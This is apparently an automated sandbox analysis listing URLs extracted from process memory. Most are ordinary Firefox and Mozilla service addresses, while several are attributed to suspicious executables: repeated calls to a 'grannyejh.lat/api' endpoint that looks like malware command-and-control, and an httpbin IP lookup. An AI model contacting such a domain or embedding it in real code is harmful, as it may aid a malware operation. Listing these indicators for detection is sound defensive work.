Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1Populating
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2165302441.0000025CE6205000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA2F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabHandles
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morechrome://pocket/content/pktApi.sys.mjs
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-recommended-by-learn-more
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsDisplays
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001A.00000002.2175727405.0000025CE7203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2222268008.0000025CEB260000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/cfworker
Source: firefox.exe, 0000001A.00000003.1984384764.0000025CF2551000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2126268179.0000025CF2542000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001A.00000002.2199041465.0000025CEA25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001A.00000002.2199041465.0000025CEA25C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941505672.0000025CE9E5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1940699460.0000025CE9C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1941709187.0000025CE9E77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsinternal:svgContextPropertiesAllowedhttps://screensho
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001A.00000003.2034827726.0000025CF2ADB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com/
Source: firefox.exe, 0000001A.00000003.1997476199.0000025CF2437000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2008776653.000000000106A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: bfa374134d.exe, 00000007.00000003.1888744563.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/.X
Source: bfa374134d.exe, 00000007.00000003.1953261296.0000000001127000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1912776532.0000000001127000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.2196022361.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/1X
Source: bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/61
Source: bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/8
Source: bfa374134d.exe, 00000007.00000003.1888744563.0000000001127000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/8X
Source: bfa374134d.exe, 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2177377964.00000000010FB000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2008776653.000000000106A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: bfa374134d.exe, 00000007.00000003.2199526432.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.2194410371.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api1
Source: bfa374134d.exe, 0000000F.00000003.2008776653.000000000106A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api7F
Source: bfa374134d.exe, 00000009.00000002.1923938643.0000000000E65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiFU
Source: bfa374134d.exe, 0000000F.00000003.2008776653.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiQ
Source: bfa374134d.exe, 00000009.00000002.1923938643.0000000000E92000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apibP
Source: bfa374134d.exe, 0000000F.00000003.2177377964.00000000010FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apie
Source: bfa374134d.exe, 00000007.00000003.1803303952.0000000001136000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 00000007.00000003.1804405378.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apiu
Source: bfa374134d.exe, 00000007.00000003.1778500504.0000000001136000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apividerQu
Source: bfa374134d.exe, 0000000F.00000003.2227019711.000000000108C000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2221194978.000000000108C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/t
Source: bfa374134d.exe, 00000007.00000003.2194410371.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/td
Source: bfa374134d.exe, 0000000F.00000003.2227019711.000000000106A000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2221194978.000000000106A000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2008776653.000000000106A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: bfa374134d.exe, 0000000F.00000003.2227019711.000000000106A000.00000004.00000020.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2221194978.000000000106A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api&wb
Source: bfa374134d.exe, 00000009.00000002.1923938643.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api6Wz
Source: bfa374134d.exe, 00000009.00000002.1923938643.0000000000E59000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/apitW8
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2153342673.0000025CDA211000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881SessionF
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ip
Source: 2db16943cb.exe, 00000006.00000003.1621989747.000000000768F000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://httpbin.org/ipbefore
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE59AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqrfQHr4pbW4ZbWfpbY7ReNxR3UIG8zInwYIFIVs9eYi
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDAC1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submit
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitConfiguration
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDAC1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submitH
Source: firefox.exe, 0000001A.00000003.2006426767.0000025CEDA9B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://incoming.telemetry.mozilla.org/submits
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2034827726.0000025CF2AA6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2016883075.0000025CF2AB0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2019-09/schema
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schema
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA95B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://json-schema.org/draft/2020-12/schemaserp-ad-telemetry-validation-rolloutonboarding-infrequen
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99B8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAF15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com
Source: firefox.exe, 0000001A.00000002.2218681627.0000025CEAF15000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/
Source: firefox.exe, 0000001A.00000002.2209918604.0000025CEA8DA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAF15000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2015854201.0000025CEA75B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2207522391.0000025CEA75A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://location.services.mozilla.com/v1/country?key=7e40f68c-7938-4c5d-9f95-e61647c213eb
Source: firefox.exe, 0000001A.00000002.2222268008.0000025CEB254000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2008063698.0000025CED4AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: firefox.exe, 0000001A.00000003.2008063698.0000025CED4AE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.com
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://login.microsoftonline.combug-1703186-rollout-http3-support-release-88-89resource:///modules/
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F9E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2175727405.0000025CE7221000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%shttps://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/?extsrc=mailto&url=%sresource://pdf.js/PdfJsDefaultPreferences.sys.mjsA
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sresource://gre/modules/DeferredTask.sys.mjsScheme
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.inbox.lv/compose?to=%sv
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2164364393.0000025CE5F7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%sCan
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.yahoo.co.jp/compose/?To=%st
Source: firefox.exe, 0000001A.00000002.2153342673.0000025CDA2D8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F772572000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA86000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggest
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://merino.services.mozilla.com/api/v1/suggestplaces.frecency.pages.alternative.numSampledVisits
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mochitest.youtube.com/
Source: firefox.exe, 0000001A.00000002.2169874877.0000025CE6F25000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5AB2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.com
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://monitor.firefox.commedia.autoplay.blocking_policybrowser.urlbar.openViewOnFocushttps://truec
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mozilla-hub.atlassian.net/browse/SDK-405
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mzl.la/3NS9KJd
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE99AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%s
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://outlook.live.com/default.aspx?rru=compose&to=%sresource://gre/modules/PrivateBrowsingUtils.s
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/page/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA97E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.hbomax.com/player/
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2181618452.0000025CE8739000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1944757242.0000025CE8733000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001A.00000002.2186945883.0000025CE9994000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://poczta.interia.pl/mh/?mailto=%sx
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6324000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://probeinfo.telemetry.mozilla.org/glean/repositories.
